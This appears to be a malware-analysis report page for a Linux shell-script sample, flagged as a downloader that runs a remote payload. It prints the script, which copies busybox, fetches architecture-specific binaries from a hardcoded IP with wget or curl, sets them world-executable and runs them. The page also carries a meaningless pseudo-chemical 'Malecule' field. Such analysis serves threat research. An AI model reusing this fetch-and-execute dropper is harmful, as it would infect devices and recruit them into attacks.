Hostile 100% linux Download

bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440.bin

Downloads and executes remote payload

Shell script silently stages a hardcoded remote payloadchmod 777 before local execution
SHA-256bb36568c1f0a4f4d604cc67f8692506291eb1ffd217a451ffc846c94daa09440
URLhttps://mb-api.abuse.ch/api/v1/
MaleculeO(C₂)H₃(Cm₅F₄Po₂)

Evidence

Shell script silently stages a hardcoded remote payload lines 1–5
1#!/bin/bash
2ulimit -n 1024 2>/dev/null || true
3cp /bin/busybox /tmp/ || cp /bin/busybox /var/tmp/ || cp /bin/busybox /var/run/ || cp /bin/busybox /run/ || cp /bin/busybox /dev/shm/ || cp /bin/busybox /mnt/ || cp /bin/busybox /root/ || cp /bin/busybox /opt/ || cp /bin/busybox /var/ || cp /bin/busybox /home/ || true
4cd /tmp || cd /var/tmp || cd /var/run || cd /run || cd /dev/shm || cd /mnt || cd /root || cd /opt || cd /var || cd /home || cd /; (wget -q -O robben http://176.65.139.196/bins/px86 || curl -s -o robben http://176.65.139.196/bins/px86); chmod 777 robben; ./robben px86
5cd /tmp || cd /var/tmp || cd /var/run || cd /run || cd /dev/shm || cd /mnt || cd /root || cd /opt || cd /var || cd /home || cd /; (wget -q -O robben http://176.65.139.196/bins/pmips || curl -s -o robben http://176.65.139.196/bins/pmips); chmod 777 robben; …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.